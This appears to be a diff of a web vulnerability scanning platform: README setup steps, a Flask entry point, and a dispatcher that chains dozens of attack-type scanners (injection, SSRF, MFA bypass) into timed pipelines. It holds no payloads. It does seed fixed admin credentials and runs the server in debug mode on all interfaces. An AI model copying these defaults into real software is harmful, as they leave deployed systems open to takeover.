5. Seed the database and start the API server:
|
| 208 |
+
```bash
|
| 209 |
+
python run.py
|
| 210 |
+
```
|
| 211 |
+
*The Flask application will start on `http://127.0.0.1:5000`.*
|
| 212 |
+
|
| 213 |
+
---
|
| 214 |
+
|
| 215 |
+
### Step 3: Launch Celery Workers & Beat
|
| 216 |
+
Keep your backend running, open two new terminal sessions (with the virtual environment activated), and run:
|
| 217 |
+
|
| 218 |
+
1. **Celery Task Worker**:
|
| 219 |
+
```bash
|
| 220 |
+
celery -A celery_app.celery worker --loglevel=info
|
| 221 |
+
```
|
| 222 |
+
2. **Celery Beat Scheduler**:
|
| 223 |
+
```bash
|
| 224 |
+
celery -A celery_app.celery beat --loglevel=info
|
| 225 |
+
```
|
| 226 |
+
|
| 227 |
+
---
|
| 228 |
+
|
| 229 |
+
### Step 4: Configure and Run Frontend
|
| 230 |
+
|
| 231 |
+
1. Navigate to the frontend directory:
|
| 232 |
+
```bash
|
| 233 |
+
cd ../frontend
|
| 234 |
+
```
|
| 235 |
+
2. Install npm modules:
|
| 236 |
+
```bash
|
| 237 |
+
npm install
|
| 238 |
+
```
|
| 239 |
+
3. Start the Vite development server:
|
| 240 |
+
```bash
|
| 241 |
+
npm run dev
|
| 242 |
+
```
|
| 243 |
+
*The frontend application will boot on `http://localhost:5173`.*
|
| 244 |
+
|
| 245 |
+
---
|
| 246 |
+
|
| 247 |
+
## 🧪 Seeding and Testing
|
| 248 |
+
|
| 249 |
+
On the first initialization, the database is pre-seeded with a default user and dummy mock security scan data so you can preview the platform immediately:
|
| 250 |
+
|
| 251 |
+
* **Mock Account Email**: `admin@gmail.com`
|
| 252 |
+
* **Mock Account Password**: `admin123`
|
| 253 |
+
|
| 254 |
+
You can log in with these credentials, explore the interactive remediation code windows, trigger new scans, check your live-updating terminal dashboard logs, and download auto-generated PDF reports directly from the history view.
|
app.py
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import sys
|
| 3 |
+
from dotenv import load_dotenv
|
| 4 |
+
|
| 5 |
+
# Ensure environment variables are loaded
|
| 6 |
+
load_dotenv()
|
| 7 |
+
|
| 8 |
+
# Insert the backend module into the python path so its internal absolute imports work
|
| 9 |
+
sys.path.insert(0, os.path.abspath('backend_structured'))
|
| 10 |
+
|
| 11 |
+
# Import the application factory from our partitioned architecture
|
| 12 |
+
from backend_structured import create_app
|
| 13 |
+
|
| 14 |
+
# Initialize the Flask application
|
| 15 |
+
app = create_app()
|
| 16 |
+
|
| 17 |
+
# ---------------------------------------------------------------------------
|
| 18 |
+
# Serve the built React frontend (HF Spaces / single-container mode)
|
| 19 |
+
# In development the Vite dev-server proxies /api/ to Flask instead.
|
| 20 |
+
# ---------------------------------------------------------------------------
|
| 21 |
+
from flask import send_from_directory, abort
|
| 22 |
+
|
| 23 |
+
FRONTEND_DIR = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'frontend', 'dist')
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
@app.route('/', defaults={'path': ''})
|
| 27 |
+
@app.route('/<path:path>')
|
| 28 |
+
def serve_react(path):
|
| 29 |
+
"""Serve React SPA. Static assets go to dist/, everything else → index.html."""
|
| 30 |
+
# Never intercept API or socket.io requests
|
| 31 |
+
if path.startswith('api/') or path.startswith('socket.io'):
|
| 32 |
+
abort(404)
|
| 33 |
+
if path and os.path.exists(os.path.join(FRONTEND_DIR, path)):
|
| 34 |
+
return send_from_directory(FRONTEND_DIR, path)
|
| 35 |
+
return send_from_directory(FRONTEND_DIR, 'index.html')
|
| 36 |
+
|
| 37 |
+
|
| 38 |
+
if __name__ == '__main__':
|
| 39 |
+
from backend_structured.extensions import socketio
|
| 40 |
+
port = int(os.getenv('PORT', 7860))
|
| 41 |
+
socketio.run(app, host='0.0.0.0', port=port, debug=True)
|
backend/scanners/__init__.py
ADDED
|
@@ -0,0 +1,453 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
__init__.py — Scanner pipeline dispatcher.
|
| 3 |
+
Maps scan_type -> ordered list of scanner module classes.
|
| 4 |
+
"""
|
| 5 |
+
from .headers_scanner import HeadersScanner
|
| 6 |
+
from .nmap_scanner import NmapScanner
|
| 7 |
+
from .sslyze_scanner import SslyzeScanner
|
| 8 |
+
from .tech_scanner import TechScanner
|
| 9 |
+
from .whois_scanner import WhoisScanner
|
| 10 |
+
from .fuzzer_scanner import FuzzerScanner
|
| 11 |
+
from .path_traversal_scanner import PathTraversalScanner
|
| 12 |
+
from .nikto_scanner import NiktoScanner
|
| 13 |
+
from .subdomain_scanner import SubdomainScanner
|
| 14 |
+
from .waf_scanner import WafScanner
|
| 15 |
+
from .cors_scanner import CorsScanner
|
| 16 |
+
from .robots_scanner import RobotsScanner
|
| 17 |
+
from .directory_scanner import DirectoryScanner
|
| 18 |
+
from .zap_scanner import ZapScanner
|
| 19 |
+
from .nuclei_scanner import NucleiScanner
|
| 20 |
+
from .api_scanner import ApiScanner
|
| 21 |
+
from .secrets_scanner import SecretsScanner
|
| 22 |
+
from .cloud_scanner import CloudScanner
|
| 23 |
+
from .cve_scanner import CveScanner
|
| 24 |
+
from .xxe_scanner import XxeScanner
|
| 25 |
+
from .ssrf_scanner import SsrfScanner
|
| 26 |
+
from .jwt_scanner import JwtScanner
|
| 27 |
+
from .idor_scanner import IdorScanner
|
| 28 |
+
from .graphql_scanner import GraphqlScanner
|
| 29 |
+
from .race_condition_scanner import RaceConditionScanner
|
| 30 |
+
from .request_smuggling_scanner import RequestSmugglingScanner
|
| 31 |
+
from .business_logic_scanner import BusinessLogicScanner
|
| 32 |
+
from .sql_injection_scanner import SqlInjectionScanner
|
| 33 |
+
from .websocket_scanner import WebsocketScanner
|
| 34 |
+
from .rate_limiting_scanner import RateLimitingScanner
|
| 35 |
+
from .whatweb_scanner import WhatWebScanner
|
| 36 |
+
from .dns_security_scanner import DNSSecurityScanner
|
| 37 |
+
from .custom_website_scanner import CustomWebsiteScanner
|
| 38 |
+
# ── Batch 1 (added previously) ────────────────────────────────────────────
|
| 39 |
+
from .ssti_scanner import SstiScanner
|
| 40 |
+
from .open_redirect_scanner import OpenRedirectScanner
|
| 41 |
+
from .cookie_scanner import CookieScanner
|
| 42 |
+
from .csrf_scanner import CsrfScanner
|
| 43 |
+
from .lfi_scanner import LfiScanner
|
| 44 |
+
# ── Batch 2 (new) ─────────────────────────────────────────────────────────
|
| 45 |
+
from .auth_scanner import AuthScanner
|
| 46 |
+
from .session_scanner import SessionScanner
|
| 47 |
+
from .csp_scanner import CspScanner
|
| 48 |
+
from .clickjacking_scanner import ClickjackingScanner
|
| 49 |
+
from .git_exposure_scanner import GitExposureScanner
|
| 50 |
+
from .dependency_scanner import DependencyScanner
|
| 51 |
+
from .attack_surface_scanner import AttackSurfaceScanner
|
| 52 |
+
from .compliance_scanner import ComplianceScanner
|
| 53 |
+
from .ai_remediation_scanner import AiRemediationScanner
|
| 54 |
+
|
| 55 |
+
# ── Batch 3: High Priority Gaps ───────────────────────────────────────────
|
| 56 |
+
from .subdomain_takeover_scanner import SubdomainTakeoverScanner
|
| 57 |
+
from .host_header_scanner import HostHeaderScanner
|
| 58 |
+
from .deserialization_scanner import DeserializationScanner
|
| 59 |
+
from .command_injection_scanner import CommandInjectionScanner
|
| 60 |
+
from .crlf_scanner import CrlfScanner
|
| 61 |
+
from .cms_scanner import CmsScanner
|
| 62 |
+
from .file_upload_scanner import FileUploadScanner
|
| 63 |
+
|
| 64 |
+
# ── Batch 4: Medium Priority ──────────────────────────────────────────────
|
| 65 |
+
from .nosql_scanner import NosqlScanner
|
| 66 |
+
from .cache_poisoning_scanner import CachePoisoningScanner
|
| 67 |
+
from .oauth_scanner import OauthScanner
|
| 68 |
+
from .prototype_pollution_scanner import PrototypePollutionScanner
|
| 69 |
+
from .source_map_scanner import SourceMapScanner
|
| 70 |
+
from .swagger_scanner import SwaggerScanner
|
| 71 |
+
from .email_security_scanner import EmailSecurityScanner
|
| 72 |
+
from .xpath_scanner import XpathScanner
|
| 73 |
+
|
| 74 |
+
# ── Batch 5: Lower Priority ───────────────────────────────────────────────
|
| 75 |
+
from .broken_link_scanner import BrokenLinkScanner
|
| 76 |
+
from .sri_scanner import SriScanner
|
| 77 |
+
from .mfa_bypass_scanner import MfaBypassScanner
|
| 78 |
+
from .mass_assignment_scanner import MassAssignmentScanner
|
| 79 |
+
from .http_pollution_scanner import HttpPollutionScanner
|
| 80 |
+
from .dns_rebinding_scanner import DnsRebindingScanner
|
| 81 |
+
from .exif_scanner import ExifScanner
|
| 82 |
+
from .tls_weakness_scanner import TlsWeaknessScanner
|
| 83 |
+
from .cert_transparency_scanner import CertTransparencyScanner
|
| 84 |
+
from .redos_scanner import RedosScanner
|
| 85 |
+
|
| 86 |
+
# ─��� Batch 6: New Distinct Attack Vectors ─────────────────────────────────
|
| 87 |
+
from .dom_xss_scanner import DomXssScanner
|
| 88 |
+
from .saml_scanner import SamlScanner
|
| 89 |
+
from .web_cache_deception_scanner import WebCacheDeceptionScanner
|
| 90 |
+
from .http_method_tampering_scanner import HttpMethodTamperingScanner
|
| 91 |
+
from .bypass_403_scanner import Bypass403Scanner
|
| 92 |
+
from .ldap_scanner import LdapScanner
|
| 93 |
+
from .blind_xss_scanner import BlindXssScanner
|
| 94 |
+
from .admin_panel_scanner import AdminPanelScanner
|
| 95 |
+
|
| 96 |
+
# ── Batch 7: Client-Side & Logic Gaps ────────────────────────────────────
|
| 97 |
+
from .csti_scanner import CstiScanner
|
| 98 |
+
from .postmessage_scanner import PostmessageScanner
|
| 99 |
+
from .password_reset_scanner import PasswordResetScanner
|
| 100 |
+
from .cache_control_scanner import CacheControlScanner
|
| 101 |
+
from .second_order_scanner import SecondOrderScanner
|
| 102 |
+
from .webrtc_leak_scanner import WebrtcLeakScanner
|
| 103 |
+
from .service_worker_scanner import ServiceWorkerScanner
|
| 104 |
+
|
| 105 |
+
# ── Batch 8: Advanced Attack Techniques ──────────────────────────────────
|
| 106 |
+
from .http2_desync_scanner import Http2DesyncScanner
|
| 107 |
+
from .js_supply_chain_scanner import JsSupplyChainScanner
|
| 108 |
+
from .api_security_scanner import ApiSecurityScanner
|
| 109 |
+
|
| 110 |
+
# ---------------------------------------------------------------------------
|
| 111 |
+
# Pipeline definitions — order matters, runs top-to-bottom
|
| 112 |
+
# AiRemediationScanner always runs LAST (post-processor)
|
| 113 |
+
# ---------------------------------------------------------------------------
|
| 114 |
+
PIPELINES = {
|
| 115 |
+
# ── Quick: fast, non-intrusive checks (~2 min) ─────────────────────────
|
| 116 |
+
"Quick": [
|
| 117 |
+
("headers", HeadersScanner, {}),
|
| 118 |
+
("nmap", NmapScanner, {"mode": "quick"}),
|
| 119 |
+
("sslyze", SslyzeScanner, {}),
|
| 120 |
+
("tech", TechScanner, {}),
|
| 121 |
+
("whois", WhoisScanner, {}),
|
| 122 |
+
("waf", WafScanner, {}),
|
| 123 |
+
("dns_security", DNSSecurityScanner, {}),
|
| 124 |
+
("cookies", CookieScanner, {}),
|
| 125 |
+
("csp", CspScanner, {}),
|
| 126 |
+
("clickjacking", ClickjackingScanner, {}),
|
| 127 |
+
("git_exposure", GitExposureScanner, {}),
|
| 128 |
+
("compliance", ComplianceScanner, {}),
|
| 129 |
+
("ai_remediation",AiRemediationScanner,{}),
|
| 130 |
+
],
|
| 131 |
+
|
| 132 |
+
# ── Advanced: core vulnerability audit (~10-20 min) ────────────────────────
|
| 133 |
+
"Advanced": [
|
| 134 |
+
("headers", HeadersScanner, {}),
|
| 135 |
+
("nmap", NmapScanner, {"mode": "standard"}),
|
| 136 |
+
("sslyze", SslyzeScanner, {}),
|
| 137 |
+
("tech", TechScanner, {}),
|
| 138 |
+
("whois", WhoisScanner, {}),
|
| 139 |
+
("waf", WafScanner, {}),
|
| 140 |
+
("dns_security", DNSSecurityScanner, {}),
|
| 141 |
+
("cookies", CookieScanner, {}),
|
| 142 |
+
("csp", CspScanner, {}),
|
| 143 |
+
("clickjacking", ClickjackingScanner, {}),
|
| 144 |
+
("git_exposure", GitExposureScanner, {}),
|
| 145 |
+
("compliance", ComplianceScanner, {}),
|
| 146 |
+
("whatweb", WhatWebScanner, {}),
|
| 147 |
+
("cors", CorsScanner, {}),
|
| 148 |
+
("robots", RobotsScanner, {}),
|
| 149 |
+
("auth", AuthScanner, {}),
|
| 150 |
+
("session", SessionScanner, {}),
|
| 151 |
+
("dependency", DependencyScanner, {}),
|
| 152 |
+
("fuzzer", FuzzerScanner, {}),
|
| 153 |
+
("path_traversal", PathTraversalScanner, {}),
|
| 154 |
+
("lfi", LfiScanner, {}),
|
| 155 |
+
("nikto", NiktoScanner, {}),
|
| 156 |
+
("sql_injection", SqlInjectionScanner, {}),
|
| 157 |
+
("subdom", SubdomainScanner, {}),
|
| 158 |
+
("custom_website", CustomWebsiteScanner, {}),
|
| 159 |
+
("attack_surface", AttackSurfaceScanner, {}),
|
| 160 |
+
("api", ApiScanner, {}),
|
| 161 |
+
("cloud", CloudScanner, {}),
|
| 162 |
+
("secrets", SecretsScanner, {}),
|
| 163 |
+
("cve", CveScanner, {}),
|
| 164 |
+
("ssrf", SsrfScanner, {}),
|
| 165 |
+
("jwt", JwtScanner, {}),
|
| 166 |
+
("csrf", CsrfScanner, {}),
|
| 167 |
+
("open_redirect", OpenRedirectScanner, {}),
|
| 168 |
+
("rate_limiting", RateLimitingScanner, {}),
|
| 169 |
+
("ai_remediation", AiRemediationScanner, {}),
|
| 170 |
+
],
|
| 171 |
+
|
| 172 |
+
# ── Deep: exhaustive + ZAP active (~2 h) ────────────────��─────────────
|
| 173 |
+
"Deep": [
|
| 174 |
+
("headers", HeadersScanner, {}),
|
| 175 |
+
("nmap", NmapScanner, {"mode": "deep"}),
|
| 176 |
+
("sslyze", SslyzeScanner, {}),
|
| 177 |
+
("tech", TechScanner, {}),
|
| 178 |
+
("whatweb", WhatWebScanner, {}),
|
| 179 |
+
("whois", WhoisScanner, {}),
|
| 180 |
+
("dns_security", DNSSecurityScanner, {}),
|
| 181 |
+
("cookies", CookieScanner, {}),
|
| 182 |
+
("csp", CspScanner, {}),
|
| 183 |
+
("clickjacking", ClickjackingScanner, {}),
|
| 184 |
+
("cors", CorsScanner, {}),
|
| 185 |
+
("robots", RobotsScanner, {}),
|
| 186 |
+
("directory", DirectoryScanner, {}),
|
| 187 |
+
("waf", WafScanner, {}),
|
| 188 |
+
("auth", AuthScanner, {}),
|
| 189 |
+
("session", SessionScanner, {}),
|
| 190 |
+
("git_exposure", GitExposureScanner, {}),
|
| 191 |
+
("dependency", DependencyScanner, {}),
|
| 192 |
+
("fuzzer", FuzzerScanner, {"red_team": True}),
|
| 193 |
+
("path_traversal", PathTraversalScanner, {}),
|
| 194 |
+
("lfi", LfiScanner, {}),
|
| 195 |
+
("nikto", NiktoScanner, {}),
|
| 196 |
+
("subdom", SubdomainScanner, {}),
|
| 197 |
+
("custom_website", CustomWebsiteScanner, {}),
|
| 198 |
+
("attack_surface", AttackSurfaceScanner, {}),
|
| 199 |
+
("api", ApiScanner, {}),
|
| 200 |
+
("cloud", CloudScanner, {}),
|
| 201 |
+
("secrets", SecretsScanner, {}),
|
| 202 |
+
("cve", CveScanner, {}),
|
| 203 |
+
("xxe", XxeScanner, {}),
|
| 204 |
+
("ssrf", SsrfScanner, {}),
|
| 205 |
+
("jwt", JwtScanner, {}),
|
| 206 |
+
("ssti", SstiScanner, {}),
|
| 207 |
+
("csrf", CsrfScanner, {}),
|
| 208 |
+
("open_redirect", OpenRedirectScanner, {}),
|
| 209 |
+
("idor", IdorScanner, {}),
|
| 210 |
+
("graphql", GraphqlScanner, {}),
|
| 211 |
+
("race_condition", RaceConditionScanner, {}),
|
| 212 |
+
("request_smuggling", RequestSmugglingScanner,{}),
|
| 213 |
+
("business_logic", BusinessLogicScanner, {}),
|
| 214 |
+
("websocket", WebsocketScanner, {}),
|
| 215 |
+
("rate_limiting", RateLimitingScanner, {}),
|
| 216 |
+
("subdomain_takeover",SubdomainTakeoverScanner,{}),
|
| 217 |
+
("host_header", HostHeaderScanner, {}),
|
| 218 |
+
("deserialization", DeserializationScanner,{}),
|
| 219 |
+
("command_injection", CommandInjectionScanner,{}),
|
| 220 |
+
("sql_injection", SqlInjectionScanner, {}),
|
| 221 |
+
("crlf", CrlfScanner, {}),
|
| 222 |
+
("cms", CmsScanner, {}),
|
| 223 |
+
("file_upload", FileUploadScanner, {}),
|
| 224 |
+
("nosql", NosqlScanner, {}),
|
| 225 |
+
("cache_poisoning", CachePoisoningScanner, {}),
|
| 226 |
+
("oauth", OauthScanner, {}),
|
| 227 |
+
("prototype_pollution",PrototypePollutionScanner,{}),
|
| 228 |
+
("source_map", SourceMapScanner, {}),
|
| 229 |
+
("swagger", SwaggerScanner, {}),
|
| 230 |
+
("email_security", EmailSecurityScanner, {}),
|
| 231 |
+
("xpath", XpathScanner, {}),
|
| 232 |
+
("broken_link", BrokenLinkScanner, {}),
|
| 233 |
+
("sri", SriScanner, {}),
|
| 234 |
+
("mfa_bypass", MfaBypassScanner, {}),
|
| 235 |
+
("mass_assignment", MassAssignmentScanner, {}),
|
| 236 |
+
("http_pollution", HttpPollutionScanner, {}),
|
| 237 |
+
("dns_rebinding", DnsRebindingScanner, {}),
|
| 238 |
+
("exif", ExifScanner, {}),
|
| 239 |
+
("tls_weakness", TlsWeaknessScanner, {}),
|
| 240 |
+
("cert_transparency", CertTransparencyScanner,{}),
|
| 241 |
+
("redos", RedosScanner, {}),
|
| 242 |
+
("dom_xss", DomXssScanner, {}),
|
| 243 |
+
("saml", SamlScanner, {}),
|
| 244 |
+
("cache_deception", WebCacheDeceptionScanner,{}),
|
| 245 |
+
("http_methods", HttpMethodTamperingScanner,{}),
|
| 246 |
+
("bypass_403", Bypass403Scanner, {}),
|
| 247 |
+
("ldap", LdapScanner, {}),
|
| 248 |
+
("blind_xss", BlindXssScanner, {}),
|
| 249 |
+
("admin_panel", AdminPanelScanner, {}),
|
| 250 |
+
("csti", CstiScanner, {}),
|
| 251 |
+
("postmessage", PostmessageScanner, {}),
|
| 252 |
+
("password_reset", PasswordResetScanner, {}),
|
| 253 |
+
("cache_control", CacheControlScanner, {}),
|
| 254 |
+
("second_order", SecondOrderScanner, {}),
|
| 255 |
+
("webrtc", WebrtcLeakScanner, {}),
|
| 256 |
+
("service_worker", ServiceWorkerScanner, {}),
|
| 257 |
+
("compliance", ComplianceScanner, {}),
|
| 258 |
+
("nuclei", NucleiScanner, {"severity": "critical,high,medium,low"}),
|
| 259 |
+
("zap", ZapScanner, {"mode": "active"}),
|
| 260 |
+
# ── Advanced Techniques ────────────────────────────────
|
| 261 |
+
("h2_desync", Http2DesyncScanner, {}),
|
| 262 |
+
("js_supply_chain", JsSupplyChainScanner, {}),
|
| 263 |
+
("api_security", ApiSecurityScanner, {}),
|
| 264 |
+
("ai_remediation", AiRemediationScanner, {}), # LAST
|
| 265 |
+
],
|
| 266 |
+
|
| 267 |
+
# Legacy aliases
|
| 268 |
+
"Standard": None,
|
| 269 |
+
"Full": None,
|
| 270 |
+
"SSL": None,
|
| 271 |
+
"OWASP": None,
|
| 272 |
+
"Port": None,
|
| 273 |
+
}
|
| 274 |
+
|
| 275 |
+
# Resolve aliases
|
| 276 |
+
PIPELINES["Standard"] = PIPELINES["Advanced"]
|
| 277 |
+
PIPELINES["Full"] = PIPELINES["Advanced"]
|
| 278 |
+
PIPELINES["OWASP"] = PIPELINES["Advanced"]
|
| 279 |
+
PIPELINES["Port"] = [("nmap", NmapScanner, {"mode": "standard"})]
|
| 280 |
+
PIPELINES["SSL"] = [
|
| 281 |
+
("sslyze", SslyzeScanner, {}),
|
| 282 |
+
("headers", HeadersScanner, {}),
|
| 283 |
+
("csp", CspScanner, {}),
|
| 284 |
+
("clickjacking",ClickjackingScanner, {}),
|
| 285 |
+
]
|
| 286 |
+
|
| 287 |
+
|
| 288 |
+
CRAWLER_SCANNERS = frozenset({
|
| 289 |
+
"fuzzer", "path_traversal", "lfi", "ssti",
|
| 290 |
+
"open_redirect", "csrf", "attack_surface",
|
| 291 |
+
"sql_injection",
|
| 292 |
+
})
|
| 293 |
+
|
| 294 |
+
SCAN_TYPE_DEFAULT_DEPTH = {
|
| 295 |
+
"Quick": 3,
|
| 296 |
+
"Advanced": 10,
|
| 297 |
+
"Deep": 20,
|
| 298 |
+
"Standard": 10,
|
| 299 |
+
}
|
| 300 |
+
|
| 301 |
+
|
| 302 |
+
# ---------------------------------------------------------------------------
|
| 303 |
+
# Phase definitions — controls execution order within each scan type.
|
| 304 |
+
# Each phase runs its modules CONCURRENTLY, phases run SEQUENTIALLY.
|
| 305 |
+
# AI remediation is always last; heavy tools (ZAP/Nuclei) are second-to-last.
|
| 306 |
+
# ---------------------------------------------------------------------------
|
| 307 |
+
SCAN_PHASES = {
|
| 308 |
+
# ── Quick (2 phases, ~2 min total) ─────────────────────────────────────
|
| 309 |
+
"Quick": [
|
| 310 |
+
{
|
| 311 |
+
"name": "Phase 1: Recon & Headers",
|
| 312 |
+
"keys": {"headers", "nmap", "sslyze", "tech", "whois", "waf",
|
| 313 |
+
"dns_security", "git_exposure"},
|
| 314 |
+
},
|
| 315 |
+
{
|
| 316 |
+
"name": "Phase 2: Config & Policy",
|
| 317 |
+
"keys": {"cookies", "csp", "clickjacking", "compliance", "ai_remediation"},
|
| 318 |
+
},
|
| 319 |
+
],
|
| 320 |
+
|
| 321 |
+
# ── Advanced (4 phases, ~10-20 min total) ───────────────────────────────
|
| 322 |
+
"Advanced": [
|
| 323 |
+
{
|
| 324 |
+
"name": "Phase 1: Recon & Fingerprinting",
|
| 325 |
+
"keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
|
| 326 |
+
"waf", "dns_security", "git_exposure", "cloud", "cve",
|
| 327 |
+
"robots", "cors"},
|
| 328 |
+
},
|
| 329 |
+
{
|
| 330 |
+
"name": "Phase 2: Auth & Session",
|
| 331 |
+
"keys": {"auth", "session", "cookies", "csp", "clickjacking",
|
| 332 |
+
"compliance", "dependency", "jwt", "csrf"},
|
| 333 |
+
},
|
| 334 |
+
{
|
| 335 |
+
"name": "Phase 3: Injection & Crawl",
|
| 336 |
+
"keys": {"sql_injection", "ssrf", "fuzzer", "path_traversal",
|
| 337 |
+
"lfi", "nikto", "open_redirect", "subdom",
|
| 338 |
+
"custom_website", "attack_surface", "api",
|
| 339 |
+
"secrets", "rate_limiting"},
|
| 340 |
+
},
|
| 341 |
+
{
|
| 342 |
+
"name": "Phase 4: AI Analysis",
|
| 343 |
+
"keys": {"ai_remediation"},
|
| 344 |
+
},
|
| 345 |
+
],
|
| 346 |
+
|
| 347 |
+
# ── Deep (8 phases, ~2h total) ─────────────────────────────────────────
|
| 348 |
+
"Deep": [
|
| 349 |
+
{
|
| 350 |
+
"name": "Phase 1: Recon & Fingerprinting",
|
| 351 |
+
"keys": {"headers", "nmap", "sslyze", "tech", "whatweb", "whois",
|
| 352 |
+
"dns_security", "waf", "cloud", "cve", "cert_transparency",
|
| 353 |
+
"robots", "tls_weakness", "exif", "source_map",
|
| 354 |
+
"email_security", "sri"},
|
| 355 |
+
},
|
| 356 |
+
{
|
| 357 |
+
"name": "Phase 2: Auth, Session & Config",
|
| 358 |
+
"keys": {"auth", "session", "cookies", "csp", "clickjacking",
|
| 359 |
+
"git_exposure", "dependency", "compliance", "cors",
|
| 360 |
+
"jwt", "oauth", "saml", "mfa_bypass", "password_reset"},
|
| 361 |
+
},
|
| 362 |
+
{
|
| 363 |
+
"name": "Phase 3: Injection Attacks",
|
| 364 |
+
"keys": {"sql_injection", "xxe", "ssrf", "ssti", "command_injection",
|
| 365 |
+
"nosql", "xpath", "ldap", "crlf", "lfi",
|
| 366 |
+
"path_traversal", "deserialization", "redos"},
|
| 367 |
+
},
|
